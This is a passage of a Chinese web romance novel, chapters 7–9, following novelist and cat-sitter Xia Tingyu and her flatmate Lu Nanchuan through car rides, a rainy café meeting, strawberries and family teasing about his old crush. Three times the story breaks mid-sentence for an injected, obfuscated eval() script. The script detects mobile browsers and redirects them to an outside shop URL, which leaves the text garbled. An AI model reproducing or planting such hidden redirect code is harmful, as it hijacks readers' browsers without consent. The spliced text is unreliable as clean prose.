像捡到了时光碎片,记忆杯点亮,夏听雨哎,“你记不得有几次你买多了还送了一包。” 拖堂仿佛是每个老师自带的被动技能。一中学生数量几千,任课老师但凡拖一分钟,等学生赶到食堂别说菜了汤都不剩几滴。只能去买泡面或者面包,其中紫米面包因为物美价廉总最先售罄。 夏听雨虽然走读,午饭也要在学校吃,有一回数学课拖了十来分钟才下课,等到超市时连平时讨厌吃的面包都没了,买了根烤肠垫肚子,出来就碰到了陆南川。 因为经常去一班找乔曦的缘故,他也认识她,见她没吃的就把自己买多的面包送了她一个,这样的情况后来也发生过几次。 陆南川听她绘声绘色的讲述,嘴角不自觉扯了扯,轻抬眉骨,云淡风轻地哦,“有吗?我忘了。” “也是。”夏听雨倒不意外,将面包放回袋子里,哈哈道,“你要是记得这种小事才吓人哦。” 7. 第 7 章 07 夏听雨烧完水就滚回房间开电脑了,她对着文档磨蹭了十来分钟,剧情场景在脑子里过了一遍去,准备得差不多了双手交叉活动关节,提起一口气憋住啪啪打下章节、然后选中调整字体字号。 和芥末菜只能用平板一样,夏听雨写小说的时候也有个小怪癖。她码字的时候文档显示比例必须百分百、正文内容字体得宋体小五号,如果大了或者小了思路就会断,一个字也写不出来。 起初她也不信邪地调过大一号字体,结果那天在电脑面前坐了一下午,不仅文档页面只打两行字,身心更像被千万只蚂蚁啃噬般难受,直到换回习惯的配置才如释重负浑身舒坦。 开新文到现在连载了一段时间,除了习惯性懒惰不想写,整体上夏听雨写得还停顺的。 也或许是吃了两顿餐,大脑得到了足够养分,今天写得格外顺利,奇迹地在零点前写完了更新不说,连带着下一章的剧情都走了一半。 夏听雨将内容复制到后台发出后,向下瞄了眼时间,还有一分钟到零点。 不错不错,非常有进步。 她满意地给自己鼓了鼓掌,端起已经放凉了的水一口喝完,拿起手机看消息。 小红书后台有条私信。 为了方便接兼职,她不仅在闲鱼上发布消息,小红书也开了个号接单。受到陆南川的提醒,晚上她赶紧发了个接上门喂猫的帖子。 她握着空水杯出去,重新倒了一杯,坐下看消息。 对面发来地址和需要喂猫的时间问她还接不接。 咨询时间是两个小时以前,现在状态显示下线了。夏听雨嘴含着水,切换到地图输入对方给的小区查出行,还挺近的,过去六个地铁站。 夏听雨敲字回过去表示可以接。 因为过了零点了,她估摸对面睡了,也没指望能收到回复,甚至觉得人家可能找了其他人接单,不料洗完澡回来收到了对面发来的联系方式。 夏听雨单手抓着裹好毛巾的头,一手复制微信添加了好友,询问清楚具体地址和门锁密码,备注好需求。都沟通完了才吹干头发,护肤上床。 翌日,天气晴朗,干净的天空蓝得不染一丝浮云。 卧室里被按哑了几次的闹铃到点再度响起,规律而响亮的声音吵得夏听雨不得不睁开眼睛。 她摸过手机彻底取消了闹钟,眼神呆滞地盯着天花板上的吊灯百般挣扎后才缓缓爬起来。 昨晚接的是个急单。猫主人有事提前请假回家了,等到晚上在老家看监控时才发现出门时竟然忘记给猫猫留猫粮和水了,这才紧急上网找个上门。 因为中间隔了一天,怕孩子饿着,需要夏听雨尽可能早些过去添食物和水。 洗漱完换好衣服刚出单元门就收到了猫主人的询问。 “放心,我已经出门了,过去十几分钟很快的。”夏听雨边赶路边语音转文字回着,出了小区往左边去地铁口。 她低头打着字等绿灯,余光瞥到有车辆缓缓靠近按了喇叭,她以为挡着别人停车了,头也不抬地抬脚往边上挪了几步。 那车又按了声,像是故意的一直按,夏听雨皱眉抬眼,望过去却对上了张熟悉的脸。 她一愣,靠近车窗,讶异地俯身询问:“你还没走啊?”这个点他不是应该都到家了吗? “课题组有个问题急需要解决,才从学校出来刚准备走。” 陆南川手搭着方向盘,偏头探出窗口,打量她,“要出去?” 红灯变了,夏听雨留意着倒计时,明亮的大眼转回来,嗯道:“接了个上门喂猫的兼职。啊我不跟你说了,绿灯了我先走——” “上车。” 话没说完就被他打断,夏听雨提起的脚收回来,“啊?” 陆南川下巴冲副驾驶抬了抬:“上来吧,我送你过去。” 夏听雨维持半转的姿势,目光在指示灯和他身上交替,眨眼又是一声啊。 “别啊了。”陆南川胳膊抵着窗说,“上车吧,刚好顺路。” 夏听雨哦,看了眼跳转回红色的指示灯,稀里糊涂地绕到另一边上了车,坐在车上去拉安全带才反应过来不对啊,“我都没说我去哪儿,你怎么知道会顺路?” 陆南川从善如流:“那你到哪儿?” 夏听雨报出小区地址。 陆南川输入小区名,导航随之跳出来,看着翻转过后的路线图笑了:“还真不顺路啊。” 夏听雨闻言拉安全带地手一顿,另一只手去摸门把手,没等摸到车突然启动,她不明转头。 “不是不顺路?” 陆南川丹凤眼眼尾上扬,握着反向盘,透过后视镜去看她:“有没有听过一句话?” 绿化带里栽种的海棠树抽出了一朵朵粉嫩的花骨朵,含苞待放,暮春的风从窗口拂过去,衬得他声音温柔:“有心想送你的人即使天南海北都同路。” 他唇角弯了下提醒道:“安全带系好,前面有违章拍照。” 夏听雨哦哦:“……好。” 一路安静,十分钟的路程转眼就到。 夏听雨攥着包带子下车,退到人行道上,仙气裙摆在随着她的跑动曳出几朵小浪花,同他道谢:“路上小心啊,清明快乐!” “啊不是。”脱口后反应过来不太合适,轻拍了下嘴,改口道,“我是说回家开心。” 小区就在背后五米处,有人进出,单主又发了消息过来询问,夏听雨低首敲着回复,一边跟他拜拜。 陆南川望着他蝴蝶一样轻盈离去的背影,下意识叫她。 “夏听雨。” 夏听雨听到了,嗳得踅足回头。 明媚的阳光穿透日渐葳蕤的枝叶,从缝隙洒落车前,风停光影落。 陆南川额前碎发吹动,眼底吹起一圈涟漪。 他目光穿越过来,掀唇说:“节后见。” 夏听雨嗯:“回头见。” 看她进去了,陆南川才收回视线,打了变向灯,拐弯绕了个圈沿原路往相反的出城高架开去。 假期第一天,高速上都是出行的车辆,平时三个小时的路程硬是堵到了天黑。 陆南川才踏进院子就听到里面的嬉笑,热热闹闹一屋子,走得近了才听清长辈门趁着给祖宗上贡的日子给陆南星和她老公做催生的思想工作。 “听二妈一句,你们现在还年轻赶紧生,早生早恢复。” “星星过了年也三十多了,该要个孩子了,你爸妈都等着抱外孙呢……” “……看看你表姐家的小欢欢都九月份就上小学了,你们两口子也得加紧啊。” 陆南星提着假笑一边满口答应说好好好,看似恩爱地喂老公吃葡萄,背地里却借着众人的视角盲区使劲拧他的腰。 陆南川看到姐夫脸都被揪白了。 他往后仰了仰身体,向姐夫送去同情的目光。 没留意是谁先发现了他,“南川回来了?” 陆南川进门,将带回来的东西递给来接的妈妈,挨个叫了人坐到陆南星夫妻两旁边。 陆南星靠着老公,幸灾乐祸地对他比口型:自、求、多、福 陆南川挑了下眉,捡了颗葡萄丢进嘴里,扯了扯嘴淡定自若。 爷爷奶奶生了三个儿子,几位叔伯也开枝散叶,整个老陆家人丁兴旺,平日里大家工作繁忙也就逢年过节才会凑在一起。 可能是血脉觉醒了,这两年家里无差别开始催起婚来,连刚本科毕业的小表妹都没被放过。 果不其然,陆南川坐下不过几分钟,话题便从工作转到了他的人生大事上。 陆南川也学他姐只管敷衍,把人耗走,直到亲戚们都走完了只剩他们一家子,几个人围着看电视。 春城气候宜人,夏天来得比别的地方早,夜晚的温度最是舒暖,月升树静,昏黄路灯下蚊虫环绕飞舞。 陆妈妈目光从女儿女婿身上移到儿子身上,靠过去:“儿子,跟妈说句实话,你不会真不喜欢女生吧?” 陆南川:“?” 他挥手赶蚊子,觉得匪夷所思,“您从哪里得出的这个结论?” “网上不都这么说嘛。”陆妈妈手围在嘴边压低音量说着院子里别家的轶事,末了说,“你要是真有那种性向,也别藏着掖着,跟我们透个底让我心里有个准备,我好做你爸的工作啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165638|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “也怪你姐,要不是她小时候让你穿裙子扮女孩,你也不至于——” “……妈。”陆南川见母上已经默认他的性取向为同了,还翻他幼年黑历史有些无奈,“没有的事,你别逼直为弯。” “还有,揭人不揭短。你别老提小时候的囧事了,我也要面子的好吗。” 陆妈妈听不懂他说的意思,陆南星倒在老公身上笑得不能自已,咯咯咯笑着充当翻译解释什么叫“弯”“直”,随后宽慰她,也给弟弟解围,随口说道:“他啊,估计还惦记着他的暗恋对象呢。” “南川还有暗恋的人?” “有啊,高中跟他同年级。” “什么样的女孩啊?” 姐夫好奇什么样的人能让小舅子念念不忘多年,陆妈妈也投来八卦的目光。 陆南川则啧了声,不耐道:“陆南星!” “我想想啊。”陆南星丝毫不顾弟弟的威胁,手背托着下巴,半响后勉强记起几点标志,“可爱,眼睛很亮、笑起来非常有活力,特别活泼的女孩。” “跟他同年级来着。”她踢了踢陆南川翘起的小腿,“叫什么名字来着?” 陆南川被她一踢,放在腿上的指尖抖得往前一划,点开了在刷的朋友圈。 照片里的女生只露了三分之一的脸部,齐刘海稀疏,明亮的眼睛燃着一抹炫丽的光,过度偏移的镜头背后露出了一只正在进食的毛茸茸布偶猫。 “超级漂亮的小仙女!”的配文暴露了她欢喜的心情。 陆南川目光闪了下,点了个赞倒转屏幕,抬头耸肩:“不记得了。” 陆南星不疑有他,兀自思索后不确定说道:“姓夏吧,夏小雨?” “夏听雨。”陆南川夏下意识纠正。 在场几人不约而同转向他,陆南星更是一脸戏谑,似笑非笑地质问道:“你不是说忘了?” 陆南川神色一僵,翻转的手机从指尖落回手心,眼神闪躲,起身顾左右而言他,“要不要喝水,我去买。” 逃避的意味太明显了,免不了遭了一顿嘲笑,他耳根微烫。 走至玄关处时他听到妈妈还在追问后续,他听见陆南星提高声音给他的暗恋胡乱补了个结尾。 ——告白,被人姑娘甩了呗。 走出院落,明月皎洁,院子里养殖的盆栽熬过冬季寒冷,在暮春之时重新焕发生机抽出了几抹新芽。 有微信弹出来。 陆南星补全了没说完的后半句:【我就随口一说,你真还想着你的暗恋?】 【没瞧出来啊,我弟竟然还是个痴情种】 【你别乱讲】 陆南川收起手机,走进巷子。 晚风习习,带着熟悉的黏热气息。 四季周而复始,新一年的夏天,又快来了。 * 清明过得飞快,转眼便到了最后一天。 夏听雨照例在闹铃里醒来,快速洗漱完毕,见天气灰沉,临出门又加了件外套,随后背上装好笔电的双肩包换鞋出门。 因为是最后一次喂猫,夏听雨舍不得地在别人家抓着布偶猫一顿挼,走的时候更是上演了一场三步两回头的虐恋。 猫主人小姐姐恰好在看监控,见她这么不舍自家小猫在微信上结尾款的同时承诺等五一劳动节时候还找她上门帮喂。 夏听雨有点小尴尬,但也只是片刻又被布偶萌得丢掉了矜持,抱着狂贴脸。 从单主家出来时间还早,在附近的商城吃了午饭,找了家咖啡馆戴上蓝牙耳机写文。 等从屏幕上抬首,外头不知何时竟然下起了雨。急雨瓢泼,雨势大到水汽侵蚀到了一楼的玻璃窗上,世界被一层雨雾笼罩。 夏听雨托着脸望着窗外发了会儿呆,关了电脑给乔曦发消息讨论到底是哪个王八蛋渣男在发誓,害得天突降大雨。 好姐妹没回消息,倒是肘边玻璃被“咚咚”叩了两下,闷闷、并不清晰。 她狐疑抬眸,怔住了。 玻璃窗外陆南川一身白衣黑裤的简单穿着,弓着身,拢曲的双指并未放下,目光自上而下静望着她,纤长睫毛沾染水汽,眼里蓄着明显的笑意。 8. 第 8 章 08 夏听雨吓了一跳,愕然地看着他在敲了玻璃后从旁边的商场四号门绕过来走进店里,还是没反应过来,杏眼疯狂地眨巴眨巴。 陆南川立在桌旁,看她呆萌的反应,手指在她面前打了个响指,提醒道:“回魂了。” 夏听雨回过神:“你什么时候回来的?” 陆南川拉开椅子坐在她对面,视线从被大雨冲刷的世界移回到她脸上,说:“我给你发了消息。” 夏听雨闻言低头去翻手机。 还真是,因为开的静音都没发现他之前给她发了微信问她在哪。 “我没看到。”她歉然回道,“你找我是有什么事啊?” 咖啡店没有强制低消,陆南川依旧扫了桌面上的二维码,翻了两下,直接问她,“喝的什么?” “黄油美式,少糖。”夏听雨端起咖啡杯,标签转面向他建议道,“其实不额外加糖也够了,太甜不好喝。” 陆南川找到美式确定规格下了单,记住单号锁屏放好,翘起腿,手放在腿上回答,“下雨了,怕你没带伞想问你需不需要接。” 他到家时雨还没下下来,等冲完澡出来时雨点已然豆子般大了。 给她发了消息也没回,去晒毛巾时就在了阳台看到了她丢在窗台的伞。 夏听雨不太好意思:“出门太急,我给忘了。” 昨晚上睡觉前她专门查了天气,预报显示今天有下午有雨。她还纳闷下午大太阳,却忘了她查天气时已经过了零点,加上家里那把伞用得时间久了,伞骨和伞面都有些松动她就没带。 她捧着咖啡呷了一口,玩笑开口:“那你该不会是专门来接我的吧?” “那也得知道你在哪儿,我可没这神通。”陆南川倒是没否认有这个想法,慢条斯理解释,“给我姐家的胖闺女喂饭去了。路过这边,听说今天有活动来看看。” 夏听雨点点头,注意到他的前一句,又惊讶,“你姐姐都有宝宝了?多大啊?” “三岁。” 陆南川视线停顿,长睫倏然撩起:“我似乎没有跟你提过我有个姐姐。” “你忘记了,高中的时候我们见过的。”夏听雨说道,“她还请我喝过奶茶。” 高三下期刚开学时,为了给学生加油打气,学校举行百日誓师大会当天学校举办了一次家校联动,通俗点叫家长会,给家长做考前开导。 夏爸爸来开家长会时在路上给女儿买了不少吃的。夏听雨自然没忘记去思修楼给同楼层的乔曦送温暖。 一班刚结束班会,教室里外都乌泱泱挤满了学生和家长。 夏听雨挤过拥挤的楼道,扒在他们班的门框往乔曦平日的位置扫了半圈也没见到人。恰好看到陆南川出来扔垃圾,便顺势拉住他让他帮忙叫一下。 陆南川扫了眼教室,说她去楼上办公室给英语老师送资料了。 估摸着也快回来了,夏听雨便干脆在门口等着。他也没进去,两人就靠着墙有一搭没一搭的聊了起来,谈得太过投入,都没发现身边多了个人。 直到拆台的话悠悠插进来,“我说你丢个垃圾怎么这么久,原来是来罚站了。” 夏听雨循声侧目,眼睛都看直了。 漂亮到足够目眩的脸。模特般的身高,身材纤细高挑,短裙外一件长至脚跟的银杏黄大衣,浓眉明目,浓颜系的五官大气又立体,像看的韩剧女主,笑盈盈的,明艳得让人心跳不由自主加快。 美女察觉到她的视线偏望过来。 她介绍自己是陆南川的姐姐。 夏听雨感慨女娲的偏心基因的强大,同样感慨一个妈生的,姐弟两性格竟然差好多。和陆南川爱答不理的拽样不同他姐姐格外亲切,一场话谈下来夏听雨对她简直相见恨晚,更别提晚自习前送来的奶茶。 她记得特别清楚,是薰衣草味的。 高中时她最喜欢味道。 想到那位漂亮姐姐,夏听雨对宝宝长相充满好奇:“有没有照片啊。” “想看?” “想。”夏听雨探着身子靠前,双手交叠扒在桌沿,“长得像妈妈吗?” 陆南川点了几下屏幕,翻着相册,迟疑回答:“应该吧。” “什么叫应该吧,说得好像你没见过似的。” 相册里没有MOMO的照片,陆南川只能从去陆南星朋友圈翻照片,也幸好她没有设置什么仅三天可见,他才能轻易翻到。 陆南川点开照片递过去:“孩子见过,妈妈倒是真的没见过。” 夏听雨:“?” 什么意思?捡的? 夏听雨狐疑垂眼,目光落在头戴生日帽、一身粉色Lolita蹲在蛋糕前面一蠢萌的布偶猫身上,失了声,被耍的视线缓缓转移到陆南川身上。 “陆南星接它来家里时它已经八个月了。别说我,她也没见过M0MO妈。”他摊手,“长相随谁也无从得知。” “你话倒是说清楚啊,我还以为是真的人类幼崽。”夏听雨嘀咕着瞪了他一眼,右划看其他照片,转眼被捉弄的不悦瞬间湮灭,声音都不由夹起来,“啊~它好可爱呀~太乖了吧。” “它叫默默?”她询问。 陆南川嗯,拼写道:“M-O-M-0,MOMO。” “我知道我知道!小红书神秘的momo军团。”夏听雨秒懂笑应,翻阅完照片双手捧脸嗷呜,“连名字也好可爱。” 陆南川接回手机,看她开心得左右摇晃,也不由翘嘴:“这么喜欢为什么不自己养一只。” “养不起呀。”夏听雨捏着吸管搅着咖啡,幽幽叹气,“我连自己都饿一顿饱一顿。”她咬着吸管,忍不住幻想一下,“不过以后有能力了一定要养一只。” 陆南川望着她弯成月牙的眼睛,扬唇鼓舞:“加油。” 夏听雨右手握拳打了下气:“好的,今晚我就先把这个梦做了。” 陆南川想到她那个白昼颠倒的作息,低哂一声,嗯:“白日梦。” 夏听雨:“……” 吧台服务员在叫号,陆南川的号就在其中,他问夏听雨:“再坐会儿还是出去走走?” 用过午饭之后夏听雨便在店里坐到了现在,屁股都坐麻了,而且她想买把新伞,于是道:“逛一逛吧。” 她快速收完个人物品,婉拒陆南川伸出的援助之手,背包起身,抽出被压住的长发,“走吧。” 两人一同去吧台取了咖啡,出门乘扶梯上二楼。 假期最后一天,加上外面在下雨,中午还萧条的商场骤然变得热闹。 二楼杂物商铺内,夏听雨咬着下唇,纠结地望着手上的两把伞。 左边的颜色很清新,适合夏天。但是右边的伞面上的图案特别可爱,她也很喜欢。两把都买吧,贵不说,没必要。 啊好痛苦,世界上为什么要有“选择”。 算了,就要绿色这把…还是要图案的吧…… “右边那把。” 陆南川选完鼠标回来见她还在原地打拳,走至身后抬手抽走水绿色的,留下绘有小柑橘的伞在她手里。 夏听雨下意识去抢。 陆南川抬高手臂,她踮脚也够不到。 夏听雨撇嘴:“可是你手上的颜色有夏天的感觉。” 陆南川扶住她倒过来的身子,垂眸,鸦羽睫在脸上投下一片阴影,“你不是更喜欢小柑橘的,确定买回去了不后悔?” ……不确定。 夏听雨理智被他一句话拉回来,缓缓收回手看他把伞放回去。狠心撇过头去,攥着伞跟在陆南川身后去结账。 收银台前排队结账的顾客不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165639|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,好在收营人手也够,夏听雨将伞和搜刮的小东西一并放上置物台低头去找手机,付款码还没调出来,一只手从耳边伸过去。 “麻烦一起结了。” 夏听雨只来得及诶一声,陆南川的付款界面递到了收银员面前被利落划了款。收手时他的袖子衣料擦过耳边,蹭得有点痒。 夏听雨偏缩了下脖子,手搓搓耳朵,拉开点距离。 “多少钱,我转你。” “不用,当还你的。”他收起手机。 “哈?” 夏听雨一头雾水,想追问什么时候,一个气音都还没发注意力被他跟店员的对话吸引了过去。 作为追星女,“乔司言”三个字一出来,她的追星雷达便启动了。听到店员讲今日店内消费满三百可以送乔司言两张随机小卡或Q版小立牌,问需不需要周边。 她两眼放光,上前一步眼巴巴抓着陆南川的胳膊猛点头:要要要! 陆南川接购物袋的手在半空停滞了下,又自然地接过来,压下起伏的情绪,把小票给她:“自己选。” 夏听雨喜笑颜开,松开,用小票跟店员换周边立牌,出了店都还飘飘然得走路都在控制不住蹦跳。 陆南川放慢脚步跟着她的步调。 “本来因为下雨还挺郁闷的,没想到能遇上这种好事。”夏听雨将立牌贴到胸前,似是想起什么,“对了,你怎么知道商场有这个活动啊?”她可没忘记是他主动问店员送什么赠品的。 陆南川避开疑惑的目光,扫向别处,答道:“门口告示牌上有写。” “有吗?”夏听雨狐疑挠挠头。 他移开视线,说有:“在进门靠模型的地方。” “哦。” 听他详细的描述,夏听雨也没怀疑,自然也没注意到她转过头去时某人因慌乱而闪烁的眼神。 穿过中庭往电梯口走去,陆南川换了个话题:“你不喜欢下雨?” “不喜欢。”夏听雨摇头,“灰蒙蒙的,又不能出去玩,烦死了。” 电梯上来,夏听雨率走到轿厢最里面,给他留出落脚的地方。外间涌进来几个人,空间瞬间被压缩,两人不断被挤压到角落并排站着,话题被迫中止。 电梯到负二楼停车场,两人并排去找他的车时,陆南川忽然说:“我喜欢。” 夏听雨没反应过来:“什么?” “下雨。”他信步走着,余光乜斜过去,深眸盯着她的侧脸,在停车场幽暗的光线下显得尤为认真。 “我喜欢雨天。” 夏听雨注意力都在找他的车牌,淡淡哦了一声,评价道:“那咱两不同。” 回去路上雨还在下,雨丝绵密,路面上都是积水。 到家之后,两人便各自钻进了房间。 陆南川冲了澡,拿起手机,他带的研究生群里唐锦书还在挨个艾特她的同门们询问谁去宜春天街帮自己买乔司言的线下联名。 找了一圈同门们不是在外地就是在实验室盯实验,纷纷发出爱莫能助的“摊手”表情。 唐锦书大哭的表情包淹了整个群。 师弟张漾提议道:【@唐锦书师姐要不你找老板问问?他今天不是还问你地址来的吗?】 【唐锦书:想我死就明说】 作为导师,陆南川只有在专业和学术上才会对他们严苛,私下却平易近人、对带的研究生无论是补助上还是生活都很照顾。平时也经常请客喝奶茶吃饭什么的,所以学生们对他都是跟他都很亲。 唐锦书仅仅思考十秒就圈了陆南川。 【唐锦书:@L老板,冒昧问一句,您路过吗?】 陆南川看完聊天记录,微笑问候:【论文都写完了@张漾明早把论文放到我桌上】 一句话,热闹的群里众人纷纷作鸟兽散。 9. 第 9 章 09 夏听雨自然无从知晓碰上送偶像周边的“好运”是有人的故意为之。 此刻她半摊在床上切换头像轮留和几个好朋友聊天,刚跟乔曦聊完准备骚扰芥末菜,妈妈的视频通话就弹了出来。 她翻了身改为趴着,手机举到正前方接通。 “喂,妈妈。” 夏妈妈的脸出现在视频另一端,见她躺着,神色也恹恹的,紧张地哎呦:“幺儿你爪子了,咋个趴起在勒?生病了?” “没有啊。”夏听雨拖着音,懒懒回道,“下雨咯不想动。” “吓我一跳,我以为你咋子了。” 夏听雨干脆坐起来,看她在家,问过晚饭后问道,“爸爸跟奶奶呢?” “晓求得你老汉儿去哪儿了,成天东跑西跑的,懒求得管他。”夏妈妈嫌弃地不想多提,“奶奶的话去周阿姨家帮忙去了。” 周阿姨是夏听雨家一楼的独居老人。一儿一女,兄妹两从小关系就不好,成家之后更是跟仇人无二,见面就掐,年初过年时还闹到抄菜刀引来了警察。 夏听雨听妈妈的意思她家小老太多半又过去当调节员了,不放心道:“你让她个人注意点安全,不要每次都夹在中间,这样很容易被误伤的。” “提了有啥子用,你奶奶什么样你不清楚,你们老夏家一个个都死倔,哪个听给过我的。” “哪有,我超听话的。” “数你最阳奉阴违!”夏妈妈笑着食指虚点屏幕。 夏听雨脑袋顺势往旁边一歪,仿佛妈妈的手指真的弹在额头上,嘴里喊着:“妈,你冤枉我!” 夏妈妈切:“你要是真听话明天就回春城来,反正高铁也才一个小时。” “我不!”夏听雨摇头如拨浪鼓,“回去了,姑姑又要喊我去相亲。” “讲得好像说你两句你就去一样,哪回不是一提你就甩脸色?” “那我不管。” 夏妈妈摇摇头哼气,随后又问了她的近况,话题很快就又聊回了周阿姨家的八卦上,不知不觉母女两聊了一个小时,快结束时夏爸爸也回来,就换人又聊了一个小时才挂掉。 清明过后又下了两天雨,周三才出晴。 接到快递电话时夏听雨正抱着膝盖窝在电脑前,一脸呆滞地对着空白文档,脑子里一团糨糊。 她已经维持这样自闭的姿势一下午了,面对大纲记载的剧情却怎么也推不了。总觉得哪里有问题,又说不上来。开机到现在写一百删一百,写一千删一千,键盘上摊开的笔记本被她用签字笔打满了箭头和问号。 她一手接电话一手继续在本子上烦躁地画圈圈:“对,我是,你帮我放在快递柜里,我晚点去取。” “这样啊……那你等几分钟,我马上下来。” 电话那那端快递员说涉及损坏赔偿,蔬果必须要当面签收,夏听雨咔哒咔哒摁笔头的动作一顿,腿放下来,拿上手机出门,到门口签收快递。 是乔曦寄的草莓。 前段时间她老公忙着参加党小组活动,给她发消息说等一段时间给她寄,没想到这么快。 满满的一箱,抱着还是有点沉。夏听雨等电梯上来的间隙夏听雨给乔曦发消息。 Xia:【我的天,你到底让你老公寄了多少?】 乔曦估计休息,回得很快:【忘了,应该有二十斤】 夏听雨吓出表情包:【你当喂猪呐】 乔曦:【其实还好,你跟陆南川一人分点也没多少】 那也很多啊。 夏听雨无力吐槽。 电梯门开,轿厢内外的两人都是一怔。 陆南川伸手挡着门感应防止合上,等她进来,目光落在她抱着的盒子上,“取快递去了?” 夏听雨恹恹地“嗯”。 他伸手过来要接箱子,夏听雨没让,陆南川也坚持,说道:“下次有快递可以给我发消息,我帮你拿回来。” 夏听雨盯着跳动的楼层,脑子里想着被她抛在电脑桌前的顺到一半的剧情,心不在焉地哦了声,礼貌说好的。 叮的电梯门开,两人一前一后走出电梯。陆南川走在后面,印象里的她总是张扬的,这样萎靡的模样实在少见。到家换上鞋,他关切道:“你看起来脸色不太好,又熬到早上没睡?” 夏听雨放好草莓回身,对上他关心的眼神,顿了下,叉着腰嗐道:“没事,每个月都有那么几天,习惯就好。” 作者嘛,哪有不卡文的。 写小说嘛,哪有不疯的。 陆南川视线掠过她手覆盖的地方,漆黑褐眸闪过若有所思,心下恍然,摸了摸鼻子清咳说:“有需要你跟我讲。” 啊? 夏听雨怔了下,心说卡文你能帮什么盲,却还是点点头。 快递箱左三圈右三圈得包得很严实,手扯不开,夏听雨找了把剪刀沿着胶带剪开外层的纸箱,倒出里面用防震泡沫裹好的保鲜盒,继续剪开泡沫袋打开盒子,一顿忙活后终于看到了堆叠整齐的草莓,浓郁的草莓香直冲鼻尖。 夏听雨捻起边缘因为挤压破皮的一颗,也不洗直接咬,馥郁果香和甜味让她发出满足地喟叹。 果然还是得春城的水果。 她整个往嘴里一塞,去厨房拿了个汤盆打算洗一点儿吃,却没找到面粉。 “陆南川——” 陆南川刚换好衣服,听到声音从卧室合门寻过来,脑袋都快抵到门框了,“怎么了?” 夏听雨问他:“家里有面粉嘛?我想洗点草莓。” 她不会做饭,也非常有自知之明,住进来后除了烧水煮泡面外就没开过灶台,自然不清楚厨房有什么调料米面粮油。 陆南川俯身进厨房,走至她身侧打开上面的橱柜,垂眸:“面粉没有,水淀粉可以吗?” “都行。” 他拿出淀粉往草莓上洒了些放回去,挽起袖口:“我来洗吧,你不方便就别碰水了。” 夏听雨人:“?” 她低头看着手里的洗好一颗,咬了口,耸耸肩心说莫名其妙。 陆南川洗得很快,几分钟后两人坐在餐桌。陆南川瞥了眼茶几上的一箱,终究还是不能理解:“买这么多草莓,你是打算改行吗?” 夏听雨嘴里吃着草莓,也很无奈:“曦曦投喂咱们的。” “那也不由至于寄这么多,草莓不好保存,而且性凉,吃多了不好。” “所以我想的是我们留一点就可以了,其余的你带去学校或者给你姐姐送些。” “你呢?不给你朋友送点。” “我问问。” 夏听雨擦擦手指,点开在宜市的几个好友,除了她大学住她下铺的室友霞姐表示要之外其他的都讲距离太远婉拒了。 分割完草莓的归属太阳已落山,夜色笼罩,对面单元楼零星亮起灯光。 房间里,夏听雨在和芥末菜连麦讨论。 与其说是卡剧情,不如说是人物缺少了内驱力。为了解决卡点,她和芥末菜重新阅读了前面的内容,发现从最新发表的两章节开始主线跟节奏都出了问题,导致男主人设割裂,像个精分。 夏听雨重新梳理大纲,同时完善了人物小专。接下来就是做取舍,是明知有问题还继续写下去后期去圆,还是替换最新发表的两章并把已经写好的总计五万的存稿也丢掉。 芥末菜的建议是将错就错,但这样不仅逻辑圆不上还会拖累进度破坏整本书的基调,夏听雨并不喜欢。 她盯着电脑右下角的字数统计,从碗里摸了颗草莓,捧在指尖仓鼠般从尖尖不间断地小口啃完,感受着口腔内微涩后的回甘,她深吸了口气,丢掉蒂叶,身子往前,手掌覆在鼠标上右击新建文档。 ——重写吧! 做了决定,夏听雨就有了行动,投入在重写中直到门“咚咚”敲响,她起身开门。 陆南川高挑的身形站在门口,手上端着一杯泛着热气的水。 “我给你泡了点红糖。” 夏听雨看着黑呼呼的液体受宠若惊,虽然奇怪为啥是糖水但她现在确实需要甜味抚慰焦躁,也不客气,“谢谢。” 陆南川越过她看到了开着的电脑,他眉心微微蹙拧,张了张嘴终究只说道:“注意休息。” 夏听雨说好,关了门回到桌前吹着喝了口,味道不错多喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165640|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两口,就这样写会儿喝一口不知不觉去了半杯,再一次端起水杯时已经见了底。 她嗅着杯底浓郁的姜味,恍然怪不得总觉得有股姜味,原来是红糖生姜。 别说,还挺不错的。 翌日下午,因为约了霞姐,夏听雨起床后给她发了个消息就出门了。 夏听雨本科是在本地上的学,寝室四个女孩除了她和霞姐还在宜市,其他两个都回了老家。 她们选了择中的地方碰面,一出地铁站就看到了等候的霞姐。两人好久没见了,拉着对方的手在原地蹦了几下,夸够了才去拿奶茶准备去看电影。 天气渐暖,夏听雨点了常喝的三分糖少冰。霞姐则点了杯热饮,说来月经了想喝点暖和的,“人老了,体制不行了,现在一来大姨妈就红糖姜茶不离手。” 夏听雨也笑了笑,顺着话题接下去。很快,奶茶就好了转身上楼。 